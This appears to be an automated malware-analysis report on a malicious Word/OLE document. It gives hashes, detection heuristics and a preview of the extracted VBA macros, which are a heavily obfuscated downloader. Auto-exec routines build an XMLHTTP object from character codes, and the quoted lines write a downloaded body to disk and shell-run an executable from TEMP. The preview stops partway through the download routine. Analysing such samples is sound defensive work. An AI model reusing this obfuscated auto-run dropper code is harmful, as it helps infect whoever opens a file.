Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 472f0f4a671a76b4…

MALICIOUS

Office (OLE)

102.0 KB Created: 2014-10-28 03:01:00 First seen: 2015-02-05
MD5: 8923a24903559f334ca3e87a12a88e12 SHA-1: 72a9460425c7045474977f18798c7da1b4e29bea SHA-256: 472f0f4a671a76b4f5773b3f64033bf5bf8933134786797525d2c6590cdf3398
334 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with critical heuristics indicating potential shell calls and the ability to download and execute files from the internet. The obfuscated script attempts to construct a URL, likely for payload delivery. The presence of AutoOpen and Workbook_Open macros suggests an attempt to execute malicious code upon document opening.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell path & Chr$(92) & Chr$(99) & Chr$(97) & Chr$(108) & Chr$(99) & Chr$(49) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), vbNormal
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    oOHjh.Write BIbkfdlh.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set BIbkfdlh = CreateObject(Chr$(77) & Chr$(83) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(50) & Chr$(46) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(72) & Chr$(84) & Chr$(84) & Chr$(80))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    path = Environ(Chr$(84) & Chr$(69) & Chr$(77) & Chr$(80))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51279 bytes
SHA-256: 059674b69a9e36d3dcdb8c7cf1715b8ac5d86b53da390af733fd7706d0a413be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
171 of 200 identifiers look randomly generated (e.g. 'PQscpSyjldGMuGSEGWxQMqBKcXWu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 889585 = 889585 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 7698 < 41 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo nHedTUwWYWLrXKFjlpzWSKNZnSMm
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
nHedTUwWYWLrXKFjlpzWSKNZnSMm:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo EiimPEFyMpIbMNLuxgPVgWbQHtFP
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
EiimPEFyMpIbMNLuxgPVgWbQHtFP:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(82) & Chr$(76) & Chr$(120) & Chr$(120) & Chr$(99) & Chr$(80) & Chr$(80) & Chr$(98) & Chr$(54) & Chr$(54))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo sNCOnWpdyltVVeIZbMdKPiaukXJY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
sNCOnWpdyltVVeIZbMdKPiaukXJY:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo IuCohvjtROKlbeOjZlZEvDtaoMxt
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
IuCohvjtROKlbeOjZlZEvDtaoMxt:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(119) & Chr$(66) & Chr$(71) & Chr$(113) & Chr$(117) & Chr$(76) & Chr$(103) & Chr$(110) & Chr$(55) & Chr$(56) & Chr$(49) & Chr$(52)) = Len(Chr$(103) & Chr$(110) & Chr$(82) & Chr$(90) & Chr$(81) & Chr$(78) & Chr$(86) & Chr$(101)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo hGHOXRnbCwFJWGzegOnARMGtHPiL
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
hGHOXRnbCwFJWGzegOnARMGtHPiL:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo OscUoqbMRItftnOmlrkDnpbXlDIy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
OscUoqbMRItftnOmlrkDnpbXlDIy:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lFYcZnevUWCPnJKdwDluGSmmibJf
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lFYcZnevUWCPnJKdwDluGSmmibJf:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo uaoDbDHnbqsyfwmAbZJaCEOXsieU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
uaoDbDHnbqsyfwmAbZJaCEOXsieU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo FctERiDAyvhEtZmYsbQmVhllxBct
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
FctERiDAyvhEtZmYsbQmVhllxBct:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo GtHpyuChEPOzQxyNgbWVUrvnvwdo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GtHpyuChEPOzQxyNgbWVUrvnvwdo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
    v45
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo KxWkpehnHVbcORqHkRENoiVOFDuv
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
KxWkpehnHVbcORqHkRENoiVOFDuv:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo dLAhxOfWvsJMLjJiwVmstcIbjHUQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
dLAhxOfWvsJMLjJiwVmstcIbjHUQ:
GoTo ZALH82
ZALH82:
End Sub
Sub AutoOpen()
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 434477 = 434477 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 3793 < 53 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo XaSNSJKkKlKSGlOeRzIsXUqKIBWL
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
XaSNSJKkKlKSGlOeRzIsXUqKIBWL:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo hvlVVxJSbYooBtjlUxnxKCWIqaxt
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
hvlVVxJSbYooBtjlUxnxKCWIqaxt:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(118) & Chr$(97) & Chr$(77) & Chr$(79) & Chr$(106) & Chr$(81) & Chr$(104) & Chr$(102) & Chr$(53) & Chr$(55))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo NaAFkSmjZLaTmwbsQuAJubHuNFRd
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
NaAFkSmjZLaTmwbsQuAJubHuNFRd:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo DdrtgBilmohauBzAFWNQhjtIewJU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DdrtgBilmohauBzAFWNQhjtIewJU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(102) & Chr$(99) & Chr$(77) & Chr$(67) & Chr$(120) & Chr$(88) & Chr$(83) & Chr$(74) & Chr$(52) & Chr$(56) & Chr$(49) & Chr$(56)) = Len(Chr$(98) & Chr$(70) & Chr$(82) & Chr$(89) & Chr$(83) & Chr$(80) & Chr$(112) & Chr$(78)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo xIzhNlNldTPdPeyVNoVtGgjdaBcl
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
xIzhNlNldTPdPeyVNoVtGgjdaBcl:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ipqtlIECgKEPylhHeLBbtHsQHQTn
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ipqtlIECgKEPylhHeLBbtHsQHQTn:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo oKXQMUFPSrCiSfNpyLozDRjJKimR
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oKXQMUFPSrCiSfNpyLozDRjJKimR:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo spaLBRyWBkSEPwtNpCJthIHNingW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
spaLBRyWBkSEPwtNpCJthIHNingW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo gyqTugLxmlqVvnGgbPKADdwxbJEZ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
gyqTugLxmlqVvnGgbPKADdwxbJEZ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo kcgDqqqIIYalcIMtZFnEgjWYGpxK
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
kcgDqqqIIYalcIMtZFnEgjWYGpxK:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
    Auto_Open
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo SWXQcJpehMkHUmnxYokGqYRxksVr
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SWXQcJpehMkHUmnxYokGqYRxksVr:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo xctAJuFUlupdeQOgOLlpbobWuVys
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
xctAJuFUlupdeQOgOLlpbobWuVys:

End Sub
Sub Workbook_Open()
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 486935 = 486935 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 6466 < 52 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo NfflnOAhGJwVrjyRjUdyygwRVuaY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
NfflnOAhGJwVrjyRjUdyygwRVuaY:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo PHxoMByMJrfwbUgxlkfbwHjeDLoF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
PHxoMByMJrfwbUgxlkfbwHjeDLoF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(116) & Chr$(72) & Chr$(116) & Chr$(76) & Chr$(87) & Chr$(117) & Chr$(122) & Chr$(65) & Chr$(56) & Chr$(49))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ceBvJdKXPlZJsqJQcyDlEITRHAwo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ceBvJdKXPlZJsqJQcyDlEITRHAwo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo GGdCbWIKAEcgrOtYnwytYIXltIKi
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GGdCbWIKAEcgrOtYnwytYIXltIKi:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(69) & Chr$(105) & Chr$(90) & Chr$(103) & Chr$(76) & Chr$(73) & Chr$(76) & Chr$(87) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(50)) = Len(Chr$(120) & Chr$(73) & Chr$(107) & Chr$(85) & Chr$(99) & Chr$(71) & Chr$(90) & Chr$(99)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo PGTluUBSSWrewjFkRMidVDDVvcoZ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
PGTluUBSSWrewjFkRMidVDDVvcoZ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QxjNUYpbpucnzsvQUMkHYZLtnMVY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QxjNUYpbpucnzsvQUMkHYZLtnMVY:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo GFwiSZAQxwdXalEAPBNKiTlfJdJC
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GFwiSZAQxwdXalEAPBNKiTlfJdJC:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo oszyVonytIRlqyqLFlJrrXerlglo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oszyVonytIRlqyqLFlJrrXerlglo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lsljeNLTiojUVyYUAzqyHlKcolJQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lsljeNLTiojUVyYUAzqyHlKcolJQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo zroTLlgQmlDuzoxeRUDNdTlLPqMU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
zroTLlgQmlDuzoxeRUDNdTlLPqMU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
    Auto_Open
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo vsotIXwRKOnAEixJIyeQaqcDnoby
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
vsotIXwRKOnAEixJIyeQaqcDnoby:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo bLMQpWTkhMMBpeiqQydfOBELZTgo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
bLMQpWTkhMMBpeiqQydfOBELZTgo:

End Sub
Sub v45()
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim vCKuAaheyv19, qMxnHfVuAE37 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
qMxnHfVuAE37 = 3825
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For vCKuAaheyv19 = 0 To 51
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
qMxnHfVuAE37 = qMxnHfVuAE37 + vCKuAaheyv19
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next vCKuAaheyv19

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim VXapNAjqxe76, MOWlGRIVIo84 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
MOWlGRIVIo84 = 6643
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For VXapNAjqxe76 = 0 To 46
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
MOWlGRIVIo84 = MOWlGRIVIo84 + VXapNAjqxe76
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next VXapNAjqxe76

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim OwLEAGoblQ64, cqupyzwhpK99 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
cqupyzwhpK99 = 8241
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For OwLEAGoblQ64 = 0 To 16
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
cqupyzwhpK99 = cqupyzwhpK99 + OwLEAGoblQ64
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next OwLEAGoblQ64


'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 148838 = 148838 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 8557 < 86 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo HuRcXoAImOZicszTZFuxzTzFtxOQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
HuRcXoAImOZicszTZFuxzTzFtxOQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo JFhrciQwJWXTryDBTFjNPliMuLvF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
JFhrciQwJWXTryDBTFjNPliMuLvF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(108) & Chr$(69) & Chr$(120) & Chr$(118) & Chr$(89) & Chr$(87) & Chr$(65) & Chr$(111) & Chr$(50) & Chr$(56))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo WylqAtrUtpSaegKGOKBzdcUecskt
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
WylqAtrUtpSaegKGOKBzdcUecskt:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo gEapFPzzScrcdabySdHfiDkMNfLj
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
gEapFPzzScrcdabySdHfiDkMNfLj:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(65) & Chr$(71) & Chr$(108) & Chr$(114) & Chr$(120) & Chr$(68) & Chr$(83) & Chr$(108) & Chr$(54) & Chr$(50) & Chr$(53) & Chr$(57)) = Len(Chr$(70) & Chr$(121) & Chr$(101) & Chr$(68) & Chr$(83) & Chr$(110) & Chr$(112) & Chr$(90)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo nOQmFhMaOxdecQKpTXvJwASXYUxC
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
nOQmFhMaOxdecQKpTXvJwASXYUxC:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo RzHZLdddCPebwLCNONyMVTstXNjf
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
RzHZLdddCPebwLCNONyMVTstXNjf:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo sMTJIRIloMvVbXSwSYOFlKDAcHlo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
sMTJIRIloMvVbXSwSYOFlKDAcHlo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo IaThviGsUqdlaXSpGtBbicJmgFBU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
IaThviGsUqdlaXSpGtBbicJmgFBU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo HkENBeBdMUZOxIGAZOMazTdQHVlV
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
HkENBeBdMUZOxIGAZOMazTdQHVlV:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ALSGlkEJCMwuKVVlYlMwjiipTPAy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ALSGlkEJCMwuKVVlYlMwjiipTPAy:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Set BIbkfdlh = CreateObject(Chr$(77) & Chr$(83) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(50) & Chr$(46) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(72) & Chr$(84) & Chr$(84) & Chr$(80))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo fygyhTjLGpPATZnIOilgbBxQIlFn
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
